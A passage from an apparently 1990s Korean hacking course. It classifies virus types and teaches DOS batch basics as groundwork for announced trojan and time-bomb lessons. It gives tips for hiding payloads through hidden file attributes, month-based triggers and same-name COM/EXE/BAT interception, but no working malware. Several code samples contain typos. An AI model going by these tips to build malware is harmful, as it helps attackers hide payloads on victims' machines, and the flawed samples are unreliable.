위에서 소개한 것들은 컴퓨터 바이러스를 제작할 수 있는 모든 조건들을 제공해준다.
제작자는 단지 적절히 골라서 사용하기만 하면 된다.
10. 컴퓨터 바이러스의 종류와 특징
바이러스는 그 종류도 다향하고 양상도 각각이다.컴퓨터 바이러스는 특별히 정의를 내리기도
어려울 뿐더러 분류에도 어려움이 있다.
1) 보편적인 바이러스 분류
A. Overwriting VIRUS
원래 화일을 파괴하기 위해 덮어쓰는 형태의 바이러스이다.
가장 간단한 형태지만 바이러스의 모든 특성을 지니고있다. 일단 실행되면 디스크의 모든
화일들을 지운다. 그러므로 쉽게 눈에 띈다.
B. Non-Overwriting VIRUS
이 바이러스는 화일의 원형을 그대로 보존하기에 발견이 쉽지 않을뿐더러 덮어쓰는
바이러스보다 더 위험하다. 이유는 덮어쓰는 형태의 바이러스는 쉽게 눈에 띄기 때문에
전파력이 약하다. 엄밀히 말해 바이러스의 위험도는 파괴력보다 숨어있는것이 더 무섭기
때문이다.
C. Memory 상주 VIRUS
메모리 상주형 바이러스는 전파속도와 감염도에서 가장 뛰어나다. 이 바이러스가
메모리에 침투하면 메모리에서 상주하여 있으면서 메모리로부터 읽어들이는 모든 화일이나
디스켓등에 감염을 시킨다. 컴퓨터가 꺼지는 순간까지 이 바이러스는 살아있을 것이다.
D. Calling VIRUS
위의 바이러스들은 모두 그 크기가 크다. 그렇기에 발견될 위험도도 그만큼 크다.
그래서 calling 형 바이러스는 화일의 속성변환 등을 통해 눈에 안띄게 되어 있다.
감염시에만 바이러스 프로그램을 호출하는 명령어만을 화일에 써넣는다. 사용자들의 눈을
속여 쉽게 발견되기 어렵다.
2) 그외의 컴퓨터 바이러스 분류
A. 트로이 목마형 & 시한폭탄형 바이러스
트로이목마는 고대 희랍에서 유래된말로 상대의 맘에 들게 만들어 그것을 취하면 피해를
입히는 미끼라고 할수 있다. 즉, 트로이목마형 바이러스를 만들면 트로이목마 바이러스는
제작자가 의도한 방향대로 작동할 것이다. 단, 프로그램이 생명이 있는것도 아닌데
그냥 움직일리 없다. 분명 상대방이 이것을 실행시켜야 한다. 그래서 트로이목마형
바이러스는 화려한 가면을 쓰고있다.최신 게임에 묻어오거나 누구나 한번쯤 실행시켜볼 그런
프로그램들에 감염되어 전파되는것이다.
그 예로 미국의 한 사설비비에스에서 있었던 일이있다. 새로 자료가 등록되었는데,
이름하여 '마돈나 뮤직비디오!' 사람들이 호기심에 무진장 받아갔다. 처음에 실행하니
진짜 마돈나가 나와서 춤추고 노래부른다. 좀 있다가 화면에 '마돈나를 PC에서 봅니까?'하는
메시지와 더불어 하드가 날라갔다. 트로이목마형의 전형적인 유형이다. 하지만, 이런 방식을
쓰면 트로이 목마를 제작한 사람을 알 수 있고 그 출처도 알 수 있다. 이렇게 되면 전파력이
떨어지고 꼬리가 밟히는것이다. 그래서 좀더 새로운 기술을 원해서 탄생한게 시한폭탄형
(일명 논리형) 바이러스이다.자신이 프로그래밍시 입력한 날짜나 시간 혹은 조건이 맞는다면
바이러스가 작동을 하는것이다. 물론, 날짜나 시간, 분, 초 단위까지도 맞추어 놓을수 있으나
월단위로 맞추어 놓는게 가장 확실할것이다. 날짜로 맞추면 그 날짜에 컴퓨터를 사용안하고
거르면 또 한달을 기다리고, 시간도 마찬가지일것이다. 좀 소스가 길어지지만 아예 1월 1일,
3월23일 이런식으로 코딩할수도 있다. 이번달이 2월이면 바이러스에는 한 4월에 작동하라구
타이머를 맞춰두면 어김없이 4월 한달내내 작동한다. 물론 그때까지 걸리지않구 숨어있어야
하니까 화일 속성을 숨김으로 바꾸어 놓으면 된다.이러한 트로이 목마형 바이러스는 일반적인
프로그램을 가장하고 그 안에는 고의적으로 사용자가 모르는 다른 기능을 포함하고 있으며
자기 복제 기능이 없는 것이 특징이다.트로이 목마형 바이러스를 기존의 바이러스 영역에
넣어야 할것인지에 대해선 논란이 많았다. 몇몇 공식같은 바이러스 특성에 맞추기는 힘들기
때문이다. 하지만 목적과 행동유형이 같으니 엄연한 바이러스 범주에 들어가야 한다.
B. 벌레 프로그램
컴퓨터 시스템에는 별다른 영향을 끼치지 않고 자신을 계속 복제하는 프로그램이다.
네트워크 상의 크리스마스 바이러스가 대표적인 예이다.
11. 컴퓨터 바이러스의 제작
컴퓨터 바이러스가 실제 어떻게 작동되고 제작되는지에 대해서 알아보자. 프로그래밍
언어별, 바이러스 종류별로 구현된 소스를 게재하여 이해를 돕도록 하겠다.
컴퓨터 바이러스는 대개 어셈블리어로 작동한다. 이유는 어셈블리어가 가장 컴퓨터
시스템에 근접할 수 있는 언어이기 때문이다. 어셈블리어로 제작된 바이러스는 그 크기도
작을뿐더러 속도도 빠르다. 하드웨어 접근에 탁월하기에 컴퓨터 바이러스 제작에 주로
사용된다. 해커라면 어셈블리어는 능숙하게 다룰줄 알아야 하는것은 기본이다.
그러나 어셈블리어만으로 바이러스를 만드는것은 아니다. 베이직, 파스칼, C 언어 더우기
배치(BATCH)화일 로도 프로그래밍을 할 수가 있다. 이렇게 컴퓨터 바이러스 제작기법을
공개하는것은 바이러스의 실체를 낱낱이 알아야 이에 대처할 수 있다는 생각 때문이다.
'지피지기면 백전백승'이라는 명언을 생각해보자.
해킹 강좌 3회
본 강좌의 어떤 내용도 저자와의 협의없이 무단으로 전제/복제 하는것을 금합니다.
세번째 강좌입니다.
어셈블리라는게 워낙 방대하다 보니 일일이 서술하기는 힘듭니다.
기본적인 원리 등에 대해 서술하겠습니다.
4,5회 강좌부터는 배치 프로그래밍을 배우며 트로이 목마를 실제 제작해 보겠습니다!!
그럼 기대 하세요!
1. 어셈블리로 구현해본 바이러스
(1) 마이크로 프로세서 8086/8088 하드웨어의 레지스터 구조
(2) 어셈블러 범용 명령어
(3) 어셈블리 바이러스 실제 구현
1. 어셈블리로 구현해본 바이러스
프로그래밍 언어를 살펴보면
고급 언어는 프로그램을 작성하기 쉽다, 실행 시간이 길다. 예) BASIC, C, PASCAL
어셈블리어는 프로그램 작성하기 어렵다, 직접적인 하드웨어의 접근이 쉽다, 속도가 빠르다는 장점이 있다
기계어는 프로그램 작성하기가 거의 어렵다, 일부 어셈블리 프로그램시 이용하기도 한다는 특징이 있다.
(1) 마이크로 프로세서 8086/8088 하드웨어의 레지스터 구조
레지스터란 CPU가 컴퓨터를 작동시키는데 필요한 정보를 임시로 저장하는 곳이다.
CPU 내부에는 32 bit 크기의 여러가지 레지스터가 있다. 어셈블리언어에서는 이 레지스터를 이름까지
지정하여 선택 사용할 수 있다. 이 여러개의 레지스터는 사용 용도에 따라 범용 레지스터/ 특수 레지스터/
플래그 레지스터 등으로 나뉜다. 레지스터의 용도는 16진수의 데이타를 일시적으로 저장한 후 필요한 때
불러내어 쓸 수 있으며 각종 논리/산술 연산결과를 저장하거나 연산의 결과를 판단할 때 사용한다.
또한 프로그램 수행을 위하여 기계어 명령을 읽어 들일 주소를 지정하기도 한다.
A. 데이타 레지스터
데이터 레지스터는 각종 데이터 처리를 대상으로 한다. 8086/8088 계열의 범용 레지스터는 4가지가 있다.
총 16비트로 이루어져있는데, 16비트 레지스터 및 8비트 레지스터 일부를 프로그래머가 명령 중에서
자유롭게 지정을 할 수 있는 범용 레지스터이다. 범용 레지스터로서의 역활 이외에도 아래에서 설명하는
특정한 역활도 가지고있다. 이 레지스터들은 사용자가 데이타를 조작하는데 자주 필요한 것들이다.
레지스터들의 기본적인 의미는 프로그래머가 임의로 무시할수 있다.
- AX : 어큘레이터 레지스터라고도 하며 연산 레지스터로서 하며 연산의 결과나 중간 값등을 저장하는데
쓰인다. AH는 AX의 상위 8비트를 AL은 AX의 하위 8비트를 가리킨다.
연산기능이 다른 것보다 조금 많은 레지스터이다.
- BX : 베이스 레지스터라고도 하며 베이스 어드레스 지정에 쓰인다. 간접 어드레스 지정시에 어드레스
레지스터, 트랜슬레이터 명령에 있어서 변환 테이블, 베이스 레지스터로서 사용한다.
- CX : 카운터 레지스터라고도 하며 반복 실행문의 반복 횟수를 지정할때 쓰인다.
- DX : 데이터 레지스터라고도 하며 어큘레이터의 보조로 활용되거나 간접 어드레스에 의한 입출력
명령시 어드레스 지정에 사용된다. 곱셈, 나눗셈 작업을 할 때 사용된다.
B. 포인터 레지스터와 인덱스 레지스터
- BP : 베이스 포인터 레지스터이다.
기본적으로 스택 영역내 어드레스를 지시하지만 스택 세그먼트 SS 영역내에 배치한 데이타에
대한 베이스 어드레스의 위치 지정에 사용된다.
해킹 강좌 4회
안녕하세요. 4번째 강좌입니다. 늦어져서 대단히 죄송합니다.
당분간 배치화일 프로그래밍 기법을 이용한 트로이목마 & 시한폭탄 바이러스를 만들어 봅시다.
실제 사용하는 트로이목마 & 시한폭탄 바이러스는 본인이 직접 개발한 것들로 아주 독창적인
것으로 그 누구도 아직 만들지 못한 것들이죠. 많은 도움 되길 바랍니다.
이제부터 "배치화일"을 시작해 봅시다.
일단 기본적인 문법을 쉽게 배워보고 그다음 유틸리티등 소스를 보며 진행하는 방향입니다.
조금씩 진행하고 점점 강화하겠습니다. 첨부터 질리면 곤란하겠죠? 차근 차근 해보자구요.
배치화일의 시작
정의 :도스의 배치화일은 하나 또는 여러 개의 도스 명령어들로 구성되는 텍스트 화일이다.
배치화일은 확장자가 BAT이다. 라고 정의 됩니다.
여러분이 기존까지 알고있는 배치화일이란게 고작 AUTOEXEC.BAT나 게임같은거 할때 몇개의
명령어를 합쳐놓은것에 불과하다는 정도로만 알고있을겁니다.
하지만 "배치"로 만들수있는 것들은 무척 다양합니다.
우린 바로 이러한 것을 배우고 "배치"로 바이러스를 배우자는게 목적입니다
거기에 해킹에 대한 약간의 지식도 함께 말이죠.
이제 실전으로 들어가죠.
우선 "배치"화일을 어떻게 만들까요?
대부분의 경우 에디터 로 만듭니다. 하지만 순수한 도스에서 만들수도 있습니다.
*하나,화면을 지운후 날짜를 표시하는 프로그램
예)
COPY CON ddate.BAT 엔터
CLS
DATE
^Z <== CTRL + Z 입니다. 이명령을 반드시 줘야 화일을 생성해 냅니다.
1 FILES COPIED <= 이렇게 되면 된것입니다.
첨보실거에요, COPY CON 이란걸~ COPY 다음에 CON 이 들어가면 이렇게 할수 있답니다.
아셨죠? 반드시 기억하세요!! 이런 잘 쓰지않는것들이 큰 힘이 되니까요.
자 실행해보면, 화면이 지워진후 날짜가 표시되며 입력을 기다릴겁니다.
여기서 프로그램들속에 포함되어있는, 컴파일러(실행형 파일 변환 프로그램)를 작동해
봅시다. BAT2EXE TIME.BAT 이렇게 해보시면 TIME.COM 이 생성되어 있을겁니다.
그럼 TIME.COM을 실행시켜 보세요. 더욱 빠른속도로 소스를 안보이면서 실행이 될겁니다.
여러분, AUTOEXEC.BAT를 보면 PROMPT $P$G 라고 쓰여진 줄이있죠?
이것이 있기때문에 우린 디렉토리를 이동할때마다 해당 디렉토리가 표시되
는 것입니다. PROMPT 다음에 여러가지 설정값을 변경시켜 줄수있습니다.
설정값 몇개)
$b "|"문자
$d 날짜표시
$e ASCII "escape"문자
$g ">"문자
$h ASCII "back space"문자
$i "<"문자
$n 현재 사용중 disk drive표시
$p 사용중은 디렉토리가 명시된 디스크 드라이브 문자
$q "="문자
$t 시간표시
$v 도스 버전 표시
지금 PROMPT 를 바꿔보세요. 직접 무엇인가 해보는게 중요합니다.
경험이 최고죠!
도스란 괴물은 COM,EXE,BAT 요 세가지것으로 실행합니다.
근데 만약 AAA.COM AAA.EXE AAA.BAT라는 이름이 같은 세개의 화일이 같은 디렉토리에
있을때 과연 우선순위가 무엇일까요? COM->EXE->BAT 순입니다. 반드시 기억!!
이건 아주 중요한 의미를 갖습니다.
우리가 나중에 바이러스를 제작할때 반드시 요긴하게 쓰니까요.
바로 똑같은 화일명으로 숨어서 가로챌수 있단는거죠.
가장 간단한 화일찾기 프로그램을 만들어 봅시다.
배치로짜는 화일찾기 프로그램은 현재 여러가지 방법이 존재하나 가장 간단한 명령을 먼저
소개합니다. 이 방법은 관심만 있었으면 대부분 잘 아실겁니다.
*둘, 간단한 파일찾기 프로그램
예)
COPY CON FFIND1.BAT <= 에디터로 작성해도 됨, 화일명 변경가능
@ECHO OFF <=화면에 명령어가 보이지않게 함
ATTRIB \*.* /S | FIND "%1"
^Z
한줄이라 간단하죠? 우선 무엇인지 설명을 해보죠.
첫줄에 @ECHO OFF 라고 새로 추가된게 있을겁니다.
이것을 맨 처음에 써주면 배치화일이 실행하면서 내부명령어들을 밖으로 보이지 않게
하는것입니다. 배치화일은 실행하면 속을 다 내보이며 돌잖아요.
반드시 외워서 항상 사용해야 합니다
일단은 이런게 있다는정도만 알아두시고, 자세한건 계속 다룰겁니다.
BAT2EXE FFIND1.BAT 하시면 FFIND1.COM 이 생성됩니다.
이제 여러분은 자신만의 실행화일을 만들수있습니다.
어떤 프로그램이든지 소스에 주석(개인적으로 작성한 설명)을 달아놓습니다.그래야 설명이
붙어있어 만든사람도 나중에 보기도 쉽고 고치기도 쉬우니까요
C 에서는 /* 내용 */ 즉, /* 와 */ 를 씁니다만, 배치에서는 REM 을 씁니다
*셋, 주석문 이용한 프로그램
예)
COPY CON REMSAMPLE.BAT
@ECHO OFF
REM 작성자 : 김태봉
REM 작성일 : 95/02/03
..............
^Z
이렇게 말입니다.
REM 이 일단 선언되면 뒤에 나오는 내용은 컴파일시 제외됩니다.
아무런 문제는 일으키지 않고요.
지금 우리가 하는 것은 바이러스 제작에 반드시 꼭 쓰는것입니다.
확실히 이해하시기 바랍니다.
기초가 튼튼해야 쓰러지지 않는법! 차근 차근 해보자구요.
2회때 배운 ECHO 명령어에 대해 좀더 알아봅시다.
ECHO 의 옵션으로는 ON / OFF 두가지가 있습니다.
ECHO 는 C언에서의 PRINTF 함수나 베이직의 PRINT 랑 그 성격이 비슷하다고 볼수있습니다.
실제 그 예를 보겠습니다.
"<=" 표시는 제가 설명하는 부분입니다. 실제 소스에는 없습니다.
예) 간단한 화면표시 프로그램
HELLO.BAT <= COPY CON 이나 에디터에서 이렇게 만드는건 아시죠?
@ECHO OFF <= 되도록 이줄은 항상 처음에 위치시키시는거 전에 배웠죠.
REM 주석을 달때는 REM 잊지마세요.주석달기의 습관화 좋습니다.
ECHO ALT + 255 <= 확장 아스키명령
ECHO.
ECHO HELLO! <= 기냥 아무거나 쓴 문자
ECHO.
PAUSE <= 키입력 기다리는 명령어
^Z <= CTRL + Z
1FILE(S) COPIED
이제 실행 시켜보세요.
HELLO! 라고 표시될겁니다.
그리고 "PRESS ANY KEY TO CONTINUE..." 라고 표시되면 엔터 한번치세요.
이제 감잡으셨죠? ECHO 다음에 어떤 문자등을 표기하면 튀어나온다는걸~
그리고 ECHO 다음에 . 을 찍은것은 . 이 있으면 그칸은 공란으로 그냥
넘어갑니다. 이걸 잘 활용하면 화면 위치에 글자를 맞추어 출력할수있겠죠?
ECHO. 말구 칸을 띄울수가 있습니다.
바로 요것인데,
ECHO ALT+255 <= ALT키랑 숫자패드의 255를 같이 누르면 한줄을 건너띕니다
문자출력하는것은 앞으로 무진장하게 쓰일것입니다.
자신이 만든 프로그램의 도움말로 쓰일수도 있고 설명으로 쓰이고 그 쓰임
새가 많고 반드시 알아야합니다.
맨끝줄에 보이는 PAUSE 는 임의의 키를 누를때까지 잠시멈출수 있게합니다
이것도 용도가 다양합니다.
팁: 배치로 짠 프로그램이 실행하고 있을때 강제로 멈출때는 CTRL+C 입니다
이것은 꼭 배치만 해당되지 않고 대부분 써먹을수 있습니다.
근데, 문자를 한글로 달고 싶다구요?
C 로짠 소스도 자체한글 없는건 외부에서 완성,조합형 한글을 작동시켜야 하죠?
배치도 마찬가지입니다.
자체한글이 없어서 굳이 한글을 쓰실려면 미리 한글구동 프로그램을 띄워놓
으시고 쓰세요.
팁: 소스 처음에 한글구동 프로그램 미리 실행할수있게 지정해 두면 한글이
보이겠죠?
좀더 응용해볼까요?
예) 하드 검사해서 에러나면 수정해서 나오는결과를 크기대로 정렬해서
프린터로 찍는 프로그램
TEST1.BAT
@ECHO OFF
REM 아래거 해석하자면 프린터를 켜라는 얘기입니다.
PAUSE TURN ON YOUR PRINTER TO PRINT DISK STATUS
CHKDSK /F | SORT > PRN
^Z
위의 것을 실행하면, PAUSE 다음에 쓴글들이 화면에 튀어나올겁니다.
이때 프린터켜시고 아무거나 누르면 바로 다음줄이 실행되죠.
CHKDSK 가요~~ 후훗~ 알고보니쉽죠?
근데~ | , > 를 모른다고요?
| 은 어떻게 생긴거냐면, 쉬프트 누르고 \ 표시 누르면 나옵니다.
뜻은 엔터 친거나 마찬가지 효과입니다.
즉 | 포함된 줄은 엔터안쳐도 엔터친것처럼 실행이 된다는말씀
그리고 > 은 뒤에 PRN 이나 NUL 혹은 화일 등이 따라올수 있습니다.
그러니까 출력내용을 어느 장치로 출력하라는 명령이죠.
PRN 은 프린터고요, NUL 은 아무것도 아님! 즉 표시하지말라는 거죠.
화일명을 주면 그리로 출력해요~ 화일로!! 햐~~ 굉장한 명령이죠?
둘다 응용가능성이 빵빵합니다.
요걸 좀더 응용하자면, DIR | SORT 해보세요.
디렉토리 목록을 정렬해서 출력할겁니다.
근데 마음대로 정렬을 조절하고 싶다구요?
그럼 여기 방법이 있으니 아래를보세요
* SORT 다음에 옵션값입니다.
----------------------
필드 번호
화일명 0
확장자 10
크기 13
날짜 24
시간 34
----------------------
이렇게 해보세요.
DIR | SORT /+34
어떻게변하나요?
시간순서로 주~욱 정렬해서 출력하죠?
다음으로 넘어가서, 2회때 소개된 파일찾기 프로그램있죠?
그것에 대해 분석하고 넘어갑시다.
예) 파일찾기 프로그램의 가장 단순한 유형
FFIND2.BAT
@ECHO OFF
REM 작성자 : 개나소나말이나닭이나
REM 날짜 : 하루이틀사흘나흘
REM 기능 : 현재 디스크의 모든 디렉토리를 조사해 *.BAT를 찾는다.
ATTRIB *.* /S | FIND ".BAT" | MORE <= ".BAT"의 내용을 바꿀수있다.
^Z
분석해봅시다.
첫줄지나 둘,세,네째줄은 주석입니다.
그리고 메인을 보면, | 이 얼마나 중요한 역할을 하시는지 아실겁니다.
근데 맨끝에 MORE 는 뭘까요?
MORE 가 들어가면 한 화면씩 넘어가게 만듭니다.
화일찾는데 많을경우 빠르게 화면 넘어가면 안되니까 한 화면씩 보면서
넘기라고 집어넣은 명령이죠.
보시면 아시겠지만 FIND 가 문자열을 잡아냅니다.
그걸 MORE 로 보내죠.
그러니까, 배치화일은 순서에 입각해서 작동한다 이말입니다.
그럼 조건이 안맞으면 되돌리거나 바꿀수없냐구요?
그건 5장에 배우실 "조건 분기"때 다룰겁니다.
그때보면 배치란 정말 강력한거구나 하고 느끼실겁니다.
다음번에 더 강력하고 막강한 파일찾기 배치소스의
다른 유형의 것을 소개해 드리겠습니다.
여기 소개된 BAT 화일들은 일일이 입력을 해보십시요.
단문이고 하니 직접 쳐보시는게 아마 좋을듯해서 뺐습니다.
계속되는 연습과 응용이 실력을 만드니까요.
장문같은거나 아주 중요한것들은 올려드릴텐 서운해하지 마세요.
BAT 소스로 작성하고 나서 BAT2EXE 화일명.BAT 하시면 컴파일하여
실행형 화일로 생성해냅니다.
어셈블리로 만든 바이러스 소스는 초보자들께서 다루기 좀 어렵겠지만
원하시는 분들이 계시니 바이러스 본격적으로 다룰때 올려드릴께요~
천천히 자세히 읽어보시면서 따라오시면 어느샌가 자신이 생길겁니다.
과정없는 결과란 없다는 말 아시죠?
연습! 연습! 연습이 가장 중요합니다!!
자기것으로 만드는데 연습이상 좋은건 없으니까요.
이제 배치 프로그래밍 과정의 절반을 넘어섭니다.
배치 프로그래밍이 끝나면 본격적인 바이러스 제작과정으로 넘어가니
기초를 확실히 닦아 놓길 누차 강조합니다.
지금까지 우리는 배치 프로그래밍의 기초를 배웠습니다.
이제부터 진정한 기능을 맛볼 차례입니다.
배치 파라미터 라는 것을 이용하여 명령들이 성공적으로 실행되었는지를 검
사하기위해 사용하는 도스의 IF 명령어를 배워봅시다.
그리고 특정 화일들 집합에 대해서 특정 명령어를 실행시켜주는 FOR 명령어
를 배웁니다. FOR 를 이용하여 *,? 등의 와일드 카드를 사용할수 있습니다.
이제부터 배치에 전문적인 기능을 부여할수 있습니다.
파라미터를 사용하려면 도스가 인식할 수 있는 %0 에서 %9 까지의 참조기호
를 배치화일 안에 미리 정의해야 합니다. 도스는 항상 파라미터 %0에 실행
시키는 배치화일의 이름을 할당합니다. 다음에 도스는 명령행에서 함께 지
정하는 각각의 정보들에 파라미터 기호 %1에서 %9까지를 할당합니다.
예를 들어봅니다.
예) 파라미터 이용한 간단한 예제
LOVE.BAT
@ECHO OFF
ECHO I %0 YOU, YOU LOVE ME %0.BAT
^Z
LOVE.BAT 를 실행하시면 " I LOVE YOU, YOU LOVE ME LOVE.BAT "
이렇게 표시됩니다.
%0 에 LOVE 값이 입력된것이죠.
단, 파라미터 %0은 확장자 BAT는 포함하지 않습니다!!
다음을 한번 봅시다.
예) 간단한 예제 둘.
SHOW1.BAT
@ECHO OFF
ECHO PARAMETER 1 IS %1
ECHO PARAMETER 2 IS %2
ECHO PARAMETER 3 IS %3
ECHO PARAMETER 4 IS %4
ECHO PARAMETER 5 IS %5
ECHO PARAMETER 6 IS %6
ECHO PARAMETER 7 IS %7
ECHO PARAMETER 8 IS %8
ECHO PARAMETER 9 IS %9
^Z
여기서 이렇게 SHOW1 A B C D E F G H I 실행해보세요.
이런 결과가 나올겁니다.
PARAMETER 1 IS A
PARAMETER 2 IS B
.
.
.
.
.
.
PARAMETER 9 IS I
이해되시죠?
각 파라미터 값에 특정 값이 대입된다는겁니다.
이걸 어디다 쓰냐구요?
널리 알려진 예인데, 다음예를 봅시다.
SAFECOPY AUTOEXEC.BAT AUTOEXEC.SAV
IF EXIST %2 PAUSE %2 ALREADY EXISTS
COPY %1 %2
IF EXIST AUTOEXEC.SAV PAUSE AUTOEXEC.SAV ALREADY EXISTS
COPY AUTOEXEC.BAT AUTOEXEC.SAV
이겁니다.
좀 어렵게 느껴질지 모르겠지만, 파라미터 라는건 바로 이렇게 입력값으로
쓴다는것만 알아두세요.
계속 설명하죠~~
IF 명령어를 사용하여 좀더 응용해 봅시다.
예)IF 와 배치 파라미터를 이용한 화일정렬 프로그램
SORTNAME.BAT
@ECHO OFF
ECHO PLEASE WAIT........
DIR | SORT | FIND /V "I" > AA.DAT
DIR | FIND /V "A.DAT" | SORT /R | FIND "I" > DD.DAT
IF '%1' == 'A' TYPE AA.DAT
IF '%1' == 'D' TYPE DD.DAT
DEL AA.DAT
DEL DD.DAT
^Z
설명합니다.
이 화일은 파이프(|) 와 리디렉션(>) 연산자를 이용했습니다.
많은 것을 정렬하기에 둘째줄에 PLEASE WAIT..... 라고 기다리라는 메세지
를 삽입했습니다.
이러면 컴퓨터가 기다리라니 기다리겠죠?
첫번째는 오름차순 정렬이고 두번째는 내림차순 정렬하라는 뜻입니다.
이렇듯 화일의 SORTING 은 전강좌에서 얘기하였으니 아실겁니다.
> 는 추출된 데이타를 화일로 추출하라는거 아시죠?
이게 배치의 묘미중 하나입니다.
첫번째는 추출된 데이타를 AA.DAT 란 화일로 저장하라는 것입니다.
두번째는 추출된 데이타를 DD.DAT 란 화일로 저장하라는 것입니다.
AA.DAT 와 DD.DAT 는 임시화일로서 화면에 일단 보여준다음
DEL 로 지웁니다. 그래서 DEL 명령을 집어넣은것이죠.
IF 다음에 보시면 == 가 있죠? = 는 등호인데 왜 ==를 쓰냐고요?
C에서도 그렇듯이 = 하나가 아니라 == 이렇게 두개를 쓰는약속입니다.
엿장수 마음이라나~~~~~~
좀더 쉽게 설명해볼까요?
예) IF EXIST 이용한 화일 존재여부 테스트
VIEW1.BAT
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO NO FILE %1
^Z
여기서 이렇게 실행해봅시다.
VIEW1 \CONFIG.SYS <= 임의로 지정하세요.
실행하면 찾았는지 결과를 알려줄겁니다.
VIEW1 다음에 화일명 을 입력하면 그것이 %1 에 대입하는 방식입니다.
좀더 수정을 가해봅시다.
@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' OF NOT EXIST %1 ECHO NO FILE %1
IF '%1' == '' ECHO MUST SPECIFY A FILE NAME TO DISPLAY
이렇게 하면 좀더 완벽해집니다.
이걸 응용해봅시다.
컴퓨터 작업을 하다보면 아차 해서 화일을 덮어쓸때가 있죠?
덮어씌우면 복구도 안되고 정말 황당합니다.
이때 미리 방지할 프로그램을 만들어봅시다.
하지만 IF 기능으로는 *,? 를 완벽히 지원못합니다.
다음에 FOR를 배울때 확실해 질겁니다.
예) 안전한 복사 프로그램
SAFECOPY.BAT
REM 사용법 C:\SAFECOPY SOURCE.DAT TARGET.DAT
IF NOT '%2' == '' IF EXIST %2 ECHO %2 화일이 존재합니다.
IF NOT '%1' == '' IF NOT '%2' == '' IF NOT EXIST %2 COPY %1 %2
IF '%1' == '' ECHO 소스 화일과 목적지 화일을 지정해야 합니다.
IF NOT '%1' == '' IF '%2' == '' ECHO 목적지 화일을 지정해야 합니다.
사용법은 SAFECOPY 다음에 소스,타겟 화일을 입력하는것입니다.
아직 기능을 덜 활용해서 좀 구식이지만 원리만 알아두세요.
%2 에 지정된 목적 화일이 이미 존재하면 배치화일은 에러메시지를 출력하
고 실행을 끝냅니다.
이 배치화일은 존재하는 화일위에 덮어쓰지 못하게 합니다.
좀전에 추출데이타값을 화일로 받아내는거 보셨죠?
그걸 다시한번 해봅시다.
간단한 예를들어보죠.
TIME 치면 시간이 나올겁니다.
TIME > DATA.DAT 해보시면 DATA.DAT 란 화일에 TIME 의 시간값을
입력받습니다.
이걸 좀더 응용하면, TYPE 명령을 삽입하여 출력할수가 있습니다.
그러니까~ > 란게 출력방향을 지정한다는거!! 화일로 출력할수 있다는걸 아
시는게 중요합니다.
.
이제 슬슬 배치 프로그래밍의 절정기로 접어듭니다.
** GOTO 사용 : 조건분기 작성
GOTO 명령어는 단순히 도스로 하여금 배치화일의 특정한 부분으로 이동하도
록 지시하는 명령이다. GOTO를 사용하려면 배치화일 내의 원하는 특정 위치
에 레이블을 붙여놓아야 한다.
배치화일에 레이블을 붙이는 형식은 다음과 같이 레이블 이름과 콜론을 사
용한다.
:LABEL
여기서 : 의 사용이 중요합니다.
BASIC 프로그래밍에서는 행(10,20,30...) 을 사용했지만 배치에서는 행이
아니라 단순 나열형으로 가다 : 위치에서 지정된 조건등을 받습니다.
지정된 것이란, 예를들어~ GOTO LABEL 이죠.
구체화를 해보겠습니다.
VIEWVER.BAT
@ECHO OFF
GOTO VIEWVER
DIR
:VIEVER
VER
설명하자면, GOTO 다음에 VIEWVER 이라고 했죠?
그래서 :VIEWVER 로 건너뛴 것입니다.
그뒤로 순서대로 VER 이 실행된 것이고요.
이해하셨나요?
다르게 살펴보면,
:ONE
:TEO
:THREE
이런식이죠~ 다 GOTO 에 의해 "조건분기" 되는것이랍니다.
.
** FOR 명령을 봅시다
다음을 보면,
VIEWIT.BAT
@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' IF NOT EXIST %1 ECHO % 화일이없습니다
IF '%1' == '' ECHO 출력하려는 화일이름을 명령행에서 지정하십시요
이것은 전에 우리가 만든 화일 내용출력 프로그램입니다.
이것을, FOR 와 GOTO 로 좀더 단순하고 강력하게 만들어 봅시다.
만약 TYPE 으로 복수의 화일을 본다면 불가능하겠죠?
그래서 프로그램을 짜보자면,
@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' IF EXIST %1 TYPE %2
.
.
.
.
.
.
IF NOT '%9' == '' IF EXIST %9 TYPE %9
이렇게 길어집니다.
하지만,FOR 를 사용해 도스에서도 실행되게 단문으로 작성해보면
C:\FOR %F IN (*.BAT) DO TYPE %F
이렇게 가능해집니다.
.
** SHIFT 사용하기
도스는 배치화일을 실행시킬 때마다 배치화일 명령행에서 입력한 값들을 파
라미터 %1에서 %9까지 차례대로 할당한다. 이러한 파라미터들을 사용하면
배치화일을 보다 효과적으로 사용할 수 있다. 그러나 대부분의 응용 프로그
램에서 9개의 파라미터면 충분하지만 9개 이상의 정보를 배치화일에 전달해
야 할 경우가 더러 있다. 여기서 우리는 배치화일 명령행에서 사용자가 지
정하는 모든 값들을 배치화일이 받아들일 수 있도록 하는 도스의 SHIFT 명
령어를 설명한다. SHIFT를 이용하여 기존의 배치 프로그램을 향상시키자.
SHIFT 이용하기
SHIFTEX.BAT
@ECHO OFF
ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
이렇게 실행해보자
SHIFTEX A B C D E F G H I J K L
결과는!!
SHIFTEX A B C D E F G H I
A B C D E F G H I J
왜 이렇게 되었을까?
SHIFT 명령어를 사용하면 원래의 %0 값은 왼쪽으로 밀려나고, 원래의 %1값
으로 대치된다. 또한 할당되지 않았던 문자 J가 파라미터 %9에 비로소 할당
된다. 이리하여 배치화일은 10개의 명령행 파라미터들을 받아들일 수 있다.
예를들어보자
SHOW1.BAT
@ECHO OFF
:REPEAT
SHIFT
IF '%0' == '' GOTO DONE
ECHO %0
GORO REPEAT
:DONE
마치 C 등의 언어를 보는듯한 구성이아닌가?
이것을 다음과 같이 출력된다.
SHOW1 A B C
A
B
C
설명하자면,
배치화일은 처음에 SHIFT 명령어를 수행하여 첫 배치 파라미터를 %0에 할당
한다. 그다음에는 IF명령어를 사용하여 %0이 NULL값인지를 검사한다.
만일 %0이 NULL 이라면 배치 파라미터들을 모두 출력한 것이므로 실행을 종
료한다. 첫번째 실행에서 %0에는 문자 A가 들어 있으며, 배치화일은 ECHO를
이용하여 이 값을 출력한다. 그 다음에 배치화일은 SHIFT 명령앞에 있는
